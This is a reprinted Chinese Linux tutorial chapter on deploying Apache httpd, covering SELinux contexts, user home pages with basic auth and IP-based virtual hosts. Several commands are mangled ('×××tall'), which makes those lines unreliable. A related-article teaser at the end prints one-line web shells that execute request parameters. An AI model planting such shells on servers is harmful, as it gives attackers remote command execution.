《Linux就该这么学》第10章 使用Apache服务部署静态网站

news/2024/5/9 10:55:10/文章来源:https://blog.csdn.net/weixin_34266504/article/details/93024399

《Linux就该这么学》!

学习网址:https://www.linuxprobe.com/

灰常不错的网站和学习课程~~~!

《Linux就该这么学》第10章 使用Apache服务部署静态网站

《Linux就该这么学》第10章 使用Apache服务部署静态网站
《Linux就该这么学》第10章 使用Apache服务部署静态网站
《Linux就该这么学》第10章 使用Apache服务部署静态网站
《Linux就该这么学》第10章 使用Apache服务部署静态网站
《Linux就该这么学》第10章 使用Apache服务部署静态网站
《Linux就该这么学》第10章 使用Apache服务部署静态网站
《Linux就该这么学》第10章 使用Apache服务部署静态网站
《Linux就该这么学》第10章 使用Apache服务部署静态网站
《Linux就该这么学》第10章 使用Apache服务部署静态网站
《Linux就该这么学》第10章 使用Apache服务部署静态网站
《Linux就该这么学》第10章 使用Apache服务部署静态网站
《Linux就该这么学》第10章 使用Apache服务部署静态网站
《Linux就该这么学》第10章 使用Apache服务部署静态网站

第10章 使用Apache服务部署静态网站

网站服务:通过浏览器访问服务器,传送10.1 网站服务程序 目前能够提供Web网络服务的程序有IIS、Nginx和Apache等。其中,IIS(Internet Information Services,互联网信息服务)是Windows系统中默认的Web服务程序,这是一款图形化的网站管理工具,不仅可以提供Web网站服务,还可以提供FTP、NMTP、SMTP等服务。但是,IIS只能在Windows系统中使用,而我们这本书的名字是《Linux就该这么学》,所以它也就不在我们的学习范围之内了。 Apache服务程序可以运行在Linux系统、UNIX系统甚至是Windows系统中,支持基于IP、域名及端口号的虚拟主机功能,支持多种认证方式,集成有代理服务器模块、安全Socket层(SSL),能够实时监视服务状态与定制日志消息,并有着各类丰富的模块支持。 Apache程序是在RHEL 5、6、7系统的默认Web服务程序,其相关知识点一直也是RHCSA和RHCE认证考试的重点内容。Apache 美国 动态Nignx 俄罗斯 静态网页128M内存的空间可以装一个网站。 静态:html 图片动态:数据库(php)第1步:把光盘设备中的系统镜像挂载到/media/cdrom目录。[root@localhost 桌面]# mkdir -p /media/cdrom[root@localhost 桌面]# mount /dev/cdrom /media/cdrom/mount: /dev/sr0 写保护,将以只读方式挂载[root@localhost 桌面]# vim /etc/fstab# Created by anaconda on Mon Apr 22 15:33:10 2019## Accessible filesystems, by reference, are maintained under '/dev/disk'# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info#/dev/mapper/rhel-root / xfs defaults 1 1UUID=476aa953-9954-4170-bfc7-69ec6cedad75 /boot xfs defaults,uquota 1 2/dev/mapper/rhel-swap swap swap defaults 0 0/dev/sdb1 /guazai ext4 defaults 0 0/dev/sdb5 swap swap defaults 0 0/dev/sdb6 /newFS xfs defaults 0 0/dev/cdrom /media/cdrom iso9660 defaults 0 0第2步:使用Vim文本编辑器创建Yum仓库的配置文件[root@localhost 桌面]# vim /etc/yum.repos.d/rhel7.repo[rhel]name=rhel7baseurl=file:///media/cdromenable=1gpgcheck=0第3步:动手安装Apache服务程序。注意,使用yum命令进行安装时,跟在命令后面的Apache服务的软件包名称为httpd。如果直接执行yum ×××tall apache命令,则系统会报错。[root@localhost 桌面]# yum ×××tall httpd已加载插件:langpacks, product-id, subscription-managerThis system is not registered to Red Hat Subscription Management. You can use subscription-manager to register.Repository rhel is listed more than once in the configuration正在解决依赖关系--> 正在检查事务---> 软件包 httpd.x86_64.0.2.4.6-17.el7 将被 安装--> 解决依赖关系完成依赖关系解决================================================================Package 架构 版本 源 大小================================================================正在安装:httpd x86_64 2.4.6-17.el7 rhel 1.2 M事务概要================================================================安装 1 软件包总下载量:1.2 M安装大小:3.7 MIs this ok [y/d/N]: yDownloading packages:Running transaction checkRunning transaction testTransaction test succeededRunning transaction 正在安装 : httpd-2.4.6-17.el7.x86_64 1/1 验证中 : httpd-2.4.6-17.el7.x86_64 1/1已安装: httpd.x86_64 0:2.4.6-17.el7 完毕!第4步:启用httpd服务程序并将其加入到开机启动项中,使其能够随系统开机而运行,从而持续为用户提供Web服务:[root@localhost 桌面]# systemctl restart httpd[root@localhost 桌面]# systemctl enable httpdln -s '/usr/lib/systemd/system/httpd.service' '/etc/systemd/system/multi-user.target.wants/httpd.service'在浏览器(这里以Firefox浏览器为例)的地址栏中输入http://127.0.0.1并按回车键,就可以看到用于提供Web服务的httpd服务程序的默认页面了10.2 配置服务文件参数1、网站没有数据2、权限不足在Linux系统中配置服务,其实就是修改服务的配置文件,因此,还需要知道这些配置文件的所在位置以及用途,httpd服务程序的主要配置文件及存放位置如表10-1所示。网站的存放路径:var/www/html表10-1 Linux系统中的配置文件服务目录/etc/httpd主配置文件/etc/httpd/conf/httpd.conf网站数据目录/var/www/html访问日志/var/log/httpd/access_log错误日志/var/log/httpd/error_log查看网站数据是空的,没有数据。[root@localhost ~]# cd /var/www/html[root@localhost html]# ls网站的数据是在index.html文件中。表10-2 配置httpd服务程序时最常用的参数以及用途描述ServerRoot服务目录ServerAdmin管理员邮箱User运行服务的用户Group运行服务的用户组ServerName网站服务器的域名DocumentRoot网站数据目录Listen监听的IP地址与端口号DirectoryIndex默认的索引页页面ErrorLog错误日志文件CustomLog访问日志文件Timeout网页超时时间,默认为300秒从表10-2中可知,DocumentRoot参数用于定义网站数据的保存路径,其参数的默认值是把网站数据存放到/var/www/html目录中;而当前网站普遍的首页面名称是index.html,因此可以向/var/www/html目录中写入一个文件,替换掉httpd服务程序的默认首页面,该操作会立即生效。在执行上述操作之后,再在Firefox浏览器中刷新httpd服务程序,可以看到该程序的首页面内容已经发生了改变,如图10-5所示。[root@localhost html]# vim index.htmlWelcome To LinuxProbe.Comdminglmignmlknglngmkgnlknglsnkdnkgankgdowapnglknglanbkgaodeng;sangngalkn第1步:建立网站数据的保存目录,并创建首页文件。[root@localhost html]# mkdir /home/wwwroot[root@localhost html]# systemctl restart httpd[root@localhost html]# cd /home/wwwroot[root@localhost wwwroot]# cp /var/www/html/index.html /home/wwwroot/[root@localhost wwwroot]# lsindex1.html index.html linuxprobe[root@localhost wwwroot]# cat index.htmlThe New Web Directory第2步:打开httpd服务程序的主配置文件,将约第119行用于定义网站数据保存路径的参数DocumentRoot修改为/home/wwwroot,同时还需要将约第124行用于定义目录权限的参数Directory后面的路径也修改为/home/wwwroot。配置文件修改完毕后即可保存并退出。网站数据保存在/var/www/html目录中,把保存网站数据的目录修改为 /home/wwwroot修改前:修改后:[root@localhost html]# vim /etc/httpd/conf/httpd.conf116 # documents. By default, all requests are taken from this di rectory, but117 # symbolic links and aliases may be used to point to other l ocations.118 #119 DocumentRoot "/home/wwwroot"120121 #122 # Relax access to content within /var/www.123 #124 <Directory "/home/wwwroot">125 AllowOverride None126 # Allow open access:127 Require all granted128 </Directory>129130 # Further relax access to the default document root:131 <Directory "/var/www/html">132 #133 # Possible values for the Options directive are "None", "All",134 # or any combination of:[root@localhost ~]# systemctl restart httpd.service第3步:重新启动httpd服务程序并验证效果,浏览器刷新页面后的内容如图10-6所示。奇怪!为什么看到了httpd服务程序的默认首页面?按理来说,只有在网站的首页面文件不存在或者用户权限不足时,才显示httpd服务程序的默认首页面。我们在尝试访问http://127.0.0.1/index.html页面时,竟然发现页面中显示“Forbidden,You don't have permission to access /index.html on this server.”。而这一切正是SELinux在捣鬼。10.3 SELinux安全子系统SELinux服务有三种配置模式,具体如下。enforcing:强制启用安全策略模式,将拦截服务的不合法请求。permissive:遇到服务越权访问时,只发出警告而不强制拦截。disabled:对于越权的行为不警告也不拦截。SELinux对于文件和服务起到防火墙的作用。通过下面两个保护机制:SELinux 域: SELinux 安全上下文:开启SELinux[root@localhost ~]# vim /etc/selinux/config# This file controls the state of SELinux on the system.# SELINUX= can take one of these three values:# enforcing - SELinux security policy is enforced.# permissive - SELinux prints warnings ×××tead of enforcing.# disabled - No SELinux policy is loaded.SELINUX=enforcing# SELINUXTYPE= can take one of these two values:# targeted - Targeted processes are protected,# minimum - Modification of targeted policy. Only selected processes are protected.# mls - Multi Level Security protection.SELINUXTYPE=targeted1、修改SELinux域查看SELinux是否开启:[root@localhost ~]# getenforceEnforcing设置SELinux是否开启:[root@localhost ~]# setenforceusage: setenforce [ Enforcing | Permissive | 1 | 0 ][root@localhost ~]# setenforce 0[root@localhost ~]# setenforce 1SELinux 域:管理服务的功能的,SELinux 安全上下文:管理文件可以被谁查看。我们把SELinux服务恢复到强制启用安全策略模式,然后分别查看原始网站数据的保存目录与当前网站数据的保存目录是否拥有不同的SELinux安全上下文值:[root@localhost ~]# ls -ldZ /var/www/htmldrwxr-xr-x. root root system_u:object_r:httpd_sys_content_t:s0 /var/www/html[root@localhost ~]# ls -ldZ /home/wwwroot/drwxrwxrwx. root root unconfined_u:object_r:user_home_dir_t:s0 /home/wwwroot/semanage命令semanage命令用于管理SELinux的策略,格式为“semanage [选项] [文件]”。SELinux服务极大地提升了Linux系统的安全性,将用户权限牢牢地锁在笼子里。semanage命令不仅能够像传统chcon命令那样—设置文件、目录的策略,还可以管理网络端口、消息接口(这些新特性将在本章后文中涵盖)。使用semanage命令时,经常用到的几个参数及其功能如下所示:-l参数用于查询;-a参数用于添加;-m参数用于修改;-d参数用于删除。2、修改SELinux的安全上下文:可以向新的网站数据目录中新添加一条SELinux安全上下文,让这个目录以及里面的所有文件能够被httpd服务程序所访问到:[root@localhost wwwroot]# semanage fcontext -a -t httpd_sys_content_t /home/wwwroot[root@localhost wwwroot]# semanage fcontext -a -t httpd_sys_content_t /home/wwwroot/*[root@localhost wwwroot]# restorecon -Rv /home/wwwroot/restorecon reset /home/wwwroot/index.html context unconfined_u:object_r:user_home_t:s0->unconfined_u:object_r:httpd_sys_content_t:s0[root@localhost ~]# cd /home/wwwroot[root@localhost wwwroot]# lsindex1.html index.html linuxprobe[root@localhost wwwroot]# rm -rf linuxprobe[root@localhost wwwroot]# rm -rf index.html[root@localhost wwwroot]# cat index.htmlThe New Web Directory/home/wwwroot 网站数据目录下的网站首页名称是index.html,该文件只能有一个。添加完安全上下文以后,发现刷新网站仍然看不到网站内容,无法立即访问网站。还需要使用restorecon命令将设置好的SELinux安全上下文立即生效。在使用restorecon命令时,可以加上-Rv参数对指定的目录进行递归操作,以及显示SELinux安全上下文的修改过程。最后,再次刷新页面,就可以正常看到网页内容了10.4 个人用户主页功能Apache服务:的主配置文件是/etc/httpd/conf/httpd.conf,并不是所有的配置都保存在主配置文件中。第1步:在httpd服务程序中,默认没有开启个人用户主页功能。为此,我们需要编辑下面的配置文件,然后在第17行的UserDir disabled参数前面加上井号(#),表示让httpd服务程序开启个人用户主页功能;同时再把第24行的UserDir public_html参数前面的井号(#)去掉(UserDir参数表示网站数据在用户家目录中的保存目录名称,即public_html目录)。最后,在修改完毕后记得保存。[root@localhost wwwroot]# vim /etc/httpd/conf.d/userdir.conf 1 # 2 # UserDir: The name of the directory that is appended o nto a user's home 3 # directory if a ~user request is received. 4 # 5 # The path to the end user account 'public_html' direct ory must be 6 # accessible to the webserver userid. This usually mea ns that ~userid 7 # must have permissions of 711, ~userid/public_html mus t have permissions 8 # of 755, and documents contained therein must be world -readable. 9 # Otherwise, the client will only receive a "403 Forbid den" message.10 #11 <IfModule mod_userdir.c>12 #13 # UserDir is disabled by default since it can confi rm the presence14 # of a username on the system (depending on home di rectory15 # permissions).16 #17 #UserDir disabled1819 #20 # To enable requests to /~user/ to serve the user's public_html21 # directory, remove the "UserDir disabled" line abo ve, and uncomment22 # the following line ×××tead:23 #24 UserDir public_html25 </IfModule>2627 #28 # Control access to UserDir directories. The following is an example29 # for a site where these directories are restricted to read-only.30 #31 <Directory "/home/*/public_html">32 AllowOverride FileInfo AuthConfig Limit Indexes33 Options MultiViews Indexes SymLinksIfOwnerMatch Inc ludesNoExec34 Require method GET POST OPTIONS35 </Directory>[root@localhost ~]# systemctl restart httpd第2步:在用户家目录中建立用于保存网站数据的目录及首页面文件。另外,还需要把家目录的权限修改为755,保证其他人也有权限读取里面的内容。[root@localhost ~]# su - linuxprobe上一次登录:三 6月 12 19:18:08 CST 2019pts/0 上[linuxprobe@localhost ~]$ mkdir public_html[linuxprobe@localhost ~]$ lsa d g j m public_html 模板 文档 桌面b e h k n xiaosu 视频 下载c f i l peiexianzhi 公共 图片 音乐[linuxprobe@localhost ~]$ cd public_html[linuxprobe@localhost public_html]$ vim index.htmlzheshi chuangjian mulu .chuangjian geren wangzhan mulu ..[linuxprobe@localhost ~]$ chmod -Rf 755 /home/linuxprobe第3步:重新启动httpd服务程序,在浏览器的地址栏中输入网址,其格式为“网址/~用户名”(其中的波浪号是必需的,而且网址、波浪号、用户名之间没有空格),从理论上来讲就可以看到用户的个人网站了。不出所料的是,系统显示报错页面,如图10-9所示。这一定还是SELinux惹的祸。在SELinux中放行域的限制。[root@localhost linuxprobe]# setenforce 0 [root@localhost linuxprobe]# setenforce 1第4步:思考这次报错的原因是什么。httpd服务程序在提供个人用户主页功能时,该用户的网站数据目录本身就应该是存放到与这位用户对应的家目录中的,所以应该不需要修改家目录的SELinux安全上下文。但是,前文还讲到了SELinux域的概念。SELinux域确保服务程序不能执行违规的操作,只能本本分分地为用户提供服务。httpd服务中突然开启的这项个人用户主页功能到底有没有被SELinux域默认允许呢?显示当前所有SELinux 的域的策略的名称以及具体的项目。[root@localhost linuxprobe]# getsebool -a |grep httphttpd_anon_write --> offhttpd_builtin_scripting --> onhttpd_can_check_spam --> offhttpd_can_connect_ftp --> offhttpd_can_connect_ldap --> offhttpd_can_connect_mythtv --> offhttpd_can_connect_zabbix --> offhttpd_can_network_connect --> offhttpd_can_network_connect_cobbler --> offhttpd_can_network_connect_db --> offhttpd_can_network_memcache --> offhttpd_can_network_relay --> offhttpd_can_sendmail --> offhttpd_dbus_avahi --> offhttpd_dbus_sssd --> offhttpd_dontaudit_search_dirs --> offhttpd_enable_cgi --> onhttpd_enable_ftp_server --> offhttpd_enable_homedirs --> offhttpd_execmem --> offhttpd_graceful_shutdown --> onhttpd_manage_ipa --> offhttpd_mod_auth_ntlm_winbind --> offhttpd_mod_auth_pam --> offhttpd_read_user_content --> offhttpd_run_stickshift --> offhttpd_serve_cobbler_files --> offhttpd_setrlimit --> offhttpd_ssi_exec --> offhttpd_sys_script_anon_write --> offhttpd_tmp_exec --> offhttpd_tty_comm --> offhttpd_unified --> offhttpd_use_cifs --> offhttpd_use_fusefs --> offhttpd_use_gpg --> offhttpd_use_nfs --> offhttpd_use_openstack --> offhttpd_use_sasl --> offhttpd_verify_dns --> offnamed_tcp_bind_http_port --> offprosody_bind_http_port --> off[root@localhost linuxprobe]# setsebool -P httpd_enable_homedirs=on有时,网站的拥有者并不希望直接将网页内容显示出来,只想让通过身份验证的用户访客看到里面的内容,这时就可以在网站中添加口令功能了第1步:先使用htpasswd命令生成密码数据库。-c参数表示第一次生成;后面再分别添加密码数据库的存放文件,以及验证要用到的用户名称(该用户不必是系统中已有的本地账户)。密码:redhat[root@localhost 桌面]# htpasswd -c /etc/httpd/passwd abelNew password:Re-type new password:Adding password for user linuxprobe第2步:编辑个人用户主页功能的配置文件。把第31~35行的参数信息修改成下列内容,其中井号(#)开头的内容为刘遄老师添加的注释信息,可将其忽略。随后保存并退出配置文件,重启httpd服务程序即可生效。未修改之前,原始文件:1 # 2 # UserDir: The name of the directory that is appended onto a user's home 3 # directory if a ~user request is received. 4 # 5 # The path to the end user account 'public_html' directory must be 6 # accessible to the webserver userid. This usually means that ~userid 7 # must have permissions of 711, ~userid/public_html must have permissions 8 # of 755, and documents contained therein must be world-readable. 9 # Otherwise, the client will only receive a "403 Forbidden" message.10 #11 <IfModule mod_userdir.c>12 #13 # UserDir is disabled by default since it can confirm the presence14 # of a username on the system (depending on home directory15 # permissions).16 #17 #UserDir disabled1819 #20 # To enable requests to /~user/ to serve the user's public_html21 # directory, remove the "UserDir disabled" line above, and uncomment22 # the following line ×××tead:23 #24 UserDir public_html25 </IfModule>2627 #28 # Control access to UserDir directories. The following is an example29 # for a site where these directories are restricted to read-only.30 #31 <Directory "/home//public_html">32 AllowOverride FileInfo AuthConfig Limit Indexes33 Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec34 Require method GET POST OPTIONS35 </Directory>修改后配置文件:[root@localhost wwwroot]# vim /etc/httpd/conf.d/userdir.conf 1 # 2 # UserDir: The name of the directory that is appended onto a user's home 3 # directory if a ~user request is received. 4 # 5 # The path to the end user account 'public_html' directory must be 6 # accessible to the webserver userid. This usually means that ~userid 7 # must have permissions of 711, ~userid/public_html must have permissions 8 # of 755, and documents contained therein must be world-readable. 9 # Otherwise, the client will only receive a "403 Forbidden" message.10 #11 <IfModule mod_userdir.c>12 #13 # UserDir is disabled by default since it can confirm the presence14 # of a username on the system (depending on home directory15 # permissions).16 #17 #UserDir disabled1819 #20 # To enable requests to /~user/ to serve the user's public_html21 # directory, remove the "UserDir disabled" line above, and uncomment22 # the following line ×××tead:23 #24 UserDir public_html25 </IfModule>2627 #28 # Control access to UserDir directories. The following is an example29 # for a site where these directories are restricted to read-only.30 #31 <Directory "/home//public_html">32 AllowOverride all33 authuserfile /etc/httpd/passwd34 authusername nihao qing shuru yonghuming35 authtype basic36 require user abel37 </Directory>用户名:abel密码:redhat10.5 虚拟网站主机功能Apache的虚拟主机功能是服务器基于用户请求的不同IP地址、主机域名或端口号,实现提供多个网站同时为外部提供访问服务的技术,如图10-12所示,用户请求的资源不同,最终获取到的网页内容也各不相同。10.5.1 基于IP地址配置主机网卡的IP地址:[root@localhost ~]# vim /etc/sysconfig/network-scripts/ifcfg-bond0[root@localhost ~]# system restart network[root@localhost ~]# ping 192.168.1.120PING 192.168.1.120 (192.168.1.120) 56(84) bytes of data.64 bytes from 192.168.1.120: icmp_seq=1 ttl=64 time=0.032 ms64 bytes from 192.168.1.120: icmp_seq=2 ttl=64 time=0.034 ms64 bytes from 192.168.1.120: icmp_seq=3 ttl=64 time=0.034 ms64 bytes from 192.168.1.120: icmp_seq=4 ttl=64 time=0.036 ms64 bytes from 192.168.1.120: icmp_seq=5 ttl=64 time=0.050 ms64 bytes from 192.168.1.120: icmp_seq=6 ttl=64 time=0.050 ms^C--- 192.168.1.120 ping statistics ---6 packets transmitted, 6 received, 0% packet loss, time 5000msrtt min/avg/max/mdev = 0.032/0.039/0.050/0.009 ms[root@localhost ~]# ping 192.168.1.140PING 192.168.1.140 (192.168.1.140) 56(84) bytes of data.64 bytes from 192.168.1.140: icmp_seq=1 ttl=64 time=0.030 ms64 bytes from 192.168.1.140: icmp_seq=2 ttl=64 time=0.036 ms64 bytes from 192.168.1.140: icmp_seq=3 ttl=64 time=0.081 ms64 bytes from 192.168.1.140: icmp_seq=4 ttl=64 time=0.048 ms^C--- 192.168.1.140 ping statistics ---4 packets transmitted, 4 received, 0% packet loss, time 2999msrtt min/avg/max/mdev = 0.030/0.048/0.081/0.021 ms[root@localhost ~]# ping 192.168.1.150PING 192.168.1.150 (192.168.1.150) 56(84) bytes of data.64 bytes from 192.168.1.150: icmp_seq=1 ttl=64 time=0.031 ms64 bytes from 192.168.1.150: icmp_seq=2 ttl=64 time=0.034 ms64 bytes from 192.168.1.150: icmp_seq=3 ttl=64 time=0.091 ms64 bytes from 192.168.1.150: icmp_seq=4 ttl=64 time=0.070 ms64 bytes from 192.168.1.150: icmp_seq=5 ttl=64 time=0.038 ms64 bytes from 192.168.1.150: icmp_seq=6 ttl=64 time=0.035 ms64 bytes from 192.168.1.150: icmp_seq=7 ttl=64 time=0.035 ms64 bytes from 192.168.1.150: icmp_seq=8 ttl=64 time=0.075 ms^C--- 192.168.1.150 ping statistics ---8 packets transmitted, 8 received, 0% packet loss, time 7000msrtt min/avg/max/mdev = 0.031/0.051/0.091/0.022 ms[root@localhost ~]# mkdir -p /home/wwwroot/120[root@localhost ~]# mkdir -p /home/wwwroot/140[root@localhost ~]# mkdir -p /home/wwwroot/150[root@localhost ~]# echo "192.168.1.120 zhuji ">> /home/wwwroot/120/index.html[root@localhost ~]# echo "192.168.1.140 zhuji ">> /home/wwwroot/140/index.html[root@localhost ~]# echo "192.168.1.150 zhuji ">> /home/wwwroot/150/index.html[root@localhost wwwroot]# vim /etc/httpd/conf/httpd.conf119 DocumentRoot "/home/wwwroot"120121 #122 # Relax access to content within /var/www.123 <virtualhost 192.168.1.120>124 DocumentRoot /home/wwwroot/120125 Servername www.linuxprobe.com126 <directory /home/wwwroot/120>127 AllowOverride None128 Require all granted129 </directory>130 </virtualhost>131 <virtualhost 192.168.1.140>132 DocumentRoot /home/wwwroot/140133 Servername www.linuxprobe.com134 <directory /home/wwwroot/140>135 AllowOverride None136 Require all granted137 </directory>138 </virtualhost>139 <virtualhost 192.168.1.150>140 DocumentRoot /home/wwwroot/150141 Servername www.linuxprobe.com142 <directory /home/wwwroot/150>143 AllowOverride None144 Require all granted145 </directory>146 </virtualhost>147148 <Directory "/home/wwwroot">149 AllowOverride None150 # Allow open access:151 Require all granted152 </Directory>153154 # Further relax access to the default document root:155 <Directory "/var/www/html">[root@localhost /]# systemctl restart httpd[root@localhost ~]# semanage fcontext -a -t httpd_sys_content_t /home/wwwroot/120[root@localhost ~]# semanage fcontext -a -t httpd_sys_content_t /home/wwwroot/120/[root@localhost ~]# semanage fcontext -a -t httpd_sys_content_t /home/wwwroot/140[root@localhost ~]# semanage fcontext -a -t httpd_sys_content_t /home/wwwroot/140/[root@localhost ~]# semanage fcontext -a -t httpd_sys_content_t /home/wwwroot/150[root@localhost ~]# semanage fcontext -a -t httpd_sys_content_t /home/wwwroot/150/*[root@localhost ~]# restorecon -Rv /home/wwwroot10.5.2 基于主机域名

转载于:https://blog.51cto.com/13615251/2409380

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_756324.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

今天分享几个牛逼的网站,不知道你用过没?

点击蓝色字关注我们&#xff01;一个正在努力变强的公众号今天给各位小伙伴推荐几个我经常使用的网站&#xff0c;这些网站可以节省大家许多的时间&#xff0c;增大大家的工作效率。&#xff08;也没给我广告费&#xff0c;纯属分享&#xff09;1 Iconfonthttps://www.iconfont…

收藏!这段时间又发现了几个提高效率的网站!

前面写过一篇推荐网站的文章(今天分享几个牛逼的网站&#xff0c;不知道你用过没&#xff1f;)&#xff0c;感觉反响还不错。这段时间又发现了几个比较牛逼的网站&#xff0c;分享给大家&#xff0c;让大家的工作效率更高。马可菠萝https://www.macbl.com/前段时间用上了MAC系统…

自己如何开发一个B站视频下载网站?

点击上方“Python进击者”&#xff0c;关注我&#xff01;坚持初心&#xff0c;坚持原创前言hello&#xff0c;各位小伙伴&#xff0c;这是公众号改名后的第一篇原创。不管改不改名&#xff0c;我都是会坚持初心&#xff0c;记录技术&#xff0c;不搞虚的&#xff0c;希望大家能…

那些X音无水印视频下载网站怎么实现的?

点击上方“Python进击者”&#xff0c;选择“星标”公众号重磅干货&#xff0c;第一时间送达前言看到很多朋友都在用网上一些某音无水印下载&#xff0c;作为程序员&#xff0c;咱们自己来整一个。今天咱们来说说某音无水印下载的思路&#xff0c;没有为什么&#xff0c;直接往…

我收藏夹里五个贼好用的网站分享给你了

点击上方“Python进击者”&#xff0c;选择“星标”公众号重磅干货&#xff0c;第一时间送达前言各位小伙伴大家好&#xff0c;今天又来分享一波自己收藏的超好用的网站&#xff0c;之前写过两期实用网站分享&#xff0c;感觉反馈都不错。今天抽空再来跟大家分享一波&#xff0…

五个吊炸天的网站

点击上方“Python进击者”&#xff0c;选择“星标”公众号超级无敌干货推送给你&#xff01;&#xff01;Python进击者第185篇原创文章前言 大家好&#xff0c;我是Kuls。 很久没来给大家分享一些牛逼的网站了&#xff0c;今天来给大家推荐一波。如果之前的好站分享没看过&…

其他工具网站收集

Unsplash.it – 图片占位符&#xff0c;支持个性化 Unsplash.it 是一个使用漂亮的图像作为占位符的工具。只要把你的图像尺寸&#xff08;宽与高&#xff09;放到网址后面的参数中&#xff0c;你会得到一个占位符。你可以很容易地得到一个随机图像或者是一个模糊图像。也支持获…

利用网站上传漏洞使用一句话木马控制服务器

一句话木马 常用于php、asp、aspx php <?php echo shell_exec($_GET[cmd]);?> asp <%execute(request("value"))%> aspx <% Page Language"Jscript"%> <%eval(Request.Item["value"])%> jsp 无回显执行系统命令 <%…

网站服务器购买配置选购方案

云服务器 的配置选择&#xff0c;和网站或应用的类型、访问量、数据量大小、程序质量等因素有关&#xff0c;建议和您的网站或应用的开发技术人员沟通&#xff0c;选择最适合您的配置。 如果您没有技术人员可提供建议&#xff0c;可以参考我们的建议进行配置选择。网站初始阶段…

惊爆:Alexa 全球排名网站即将关闭

作者 | 辛晓亮近日&#xff0c;亚马逊宣布&#xff0c;计划于明年 5 月份关其全球网站排名网站 Alexa。目前 Alexa 已经停止付费服务的新用户注册&#xff0c;现有付费用户可以使用到 2022 年 5 月 1 日。Alexa 在官方公告中称“25 年前&#xff0c;我们创立了 Alexa Internet&…

大型网站技术架构(六)网站的伸缩性架构

2019独角兽企业重金招聘Python工程师标准>>> 网站系统的伸缩性架构最重要的技术手段就是使用服务器集群功能&#xff0c;通过不断地向集群中添加服务器来增强整个集群的处理能力。“伸”即网站的规模和服务器的规模总是在不断扩大。 1、网站架构的伸缩性设计 网站的…

大型网站技术架构(二)架构模式

2019独角兽企业重金招聘Python工程师标准>>> 每一个模式描述了一个在我们周围不断重复发生的问题及该问题解决方案的核心。这样&#xff0c;你就能一次又一次地使用该方案而不必做重复工作。 所谓网站架构模式即为了解决大型网站面临的高并发访问、海量数据、高可靠…

抓取Bing每日图片作为网站首页背景

把Bing搜索的背景图片设置为自己网站的背景&#xff0c;实现背景及资讯的每日更新 效果图如下&#xff1a; 理一下思路&#xff0c;首先我们要抓取Bing的每日图片及最新资讯&#xff0c;然后保存图片及信息到本地&#xff0c;最后显示图片及资讯到网站首页。 第一步&#xff1a…

.NET Core 控制台如何嵌入运行 Web API网站?

【导读】我们知道在.NET Framework中可以嵌入运行Web APi&#xff0c;那么在.NET Core&#xff08;.NET 6称之为.NET&#xff09;中如何内嵌运行Web Api呢&#xff0c;在实际项目中这种场景非常常见&#xff0c;那么我们本节以.NET 6.0作为演示示例一起来瞅瞅。内嵌运行.NET Co…

【问题解决】Chrome浏览器:该网站使用HSTS。网络错误...此页面稍后可能会工作之解决方法

【问题解决】Chrome浏览器&#xff1a;该网站使用HSTS。网络错误…此页面稍后可能会工作之解决方法 原文地址&#xff1a; https://blog.csdn.net/weixin_43486390/article/details/96860374 这里我偷懒了&#xff0c;直接把别人解决过的方法直接搬过来了&#xff0c;不过&…

源码托管网站推荐——OKSvn

在团队开发时&#xff0c;没使用SVN或者其他版本控制工具必将带来很多不必要的麻烦。在本机搭建SVN的方法虽然可行&#xff0c;但你不能保证你的电脑一直处于运行状态&#xff0c;显然是很不方便的。 我们知道&#xff0c;新浪、谷歌都有项目托管&#xff0c;由于网速不给力&am…

建站手册-网站构建:万维网联盟(World Wide Web Consortium)

ylbtech-建站手册-网站构建&#xff1a;万维网联盟&#xff08;World Wide Web Consortium&#xff09;1.返回顶部 1、http://www.w3school.com.cn/site/site_w3c.asp2、2.返回顶部1、万维网联盟&#xff08;W3C&#xff09;创立了 WWW 标准。 W3C 的使命是通过发展规范、指导方…

数据分析案例(5)利用MYSQL+Python对某网站的用户数进行分析

数据与代码链接&#xff1a; https://pan.baidu.com/s/1vF3hzzI83tDDVl-kM03shQ 提取码&#xff1a;0202 user.sql文件大家自行导入mysql数据库中&#xff0c;我是放在了test01数据库中 数据由于是存储在MYsql数据库的&#xff0c;因此我们需要利用Python连接mysql数据库&…

discuz html5 手机,Discuz正式推出移动端社区建站工具Discuz Q

从黯然离场到二次上线&#xff0c;Discuz近期正式上线移动端社区建站软件Discuz Q&#xff0c;鼎力支持站长专属私域流量经营!了解到&#xff0c;Discuz! Q简单讲就是一套手机端的社区建站软件&#xff0c;核心就是帮助站长经营移动端私域流量&#xff0c;快速内容变现 &#x…

微信网站防屏蔽防红的措施以及微信域名检测API等工具的技术原理

为什么关心这种技术&#xff1f;因为我经常听到身边搞微商、搞微信项目的朋友都在叫苦连天&#xff0c;由于微信域名屏蔽、微信域名被拦截、弄得他们尸横遍野&#xff0c;损失的连过年回家的路费都没了&#xff0c;曾经的叱咤风云一下变成了今日的倒亏损。腾讯对微信中推广活动…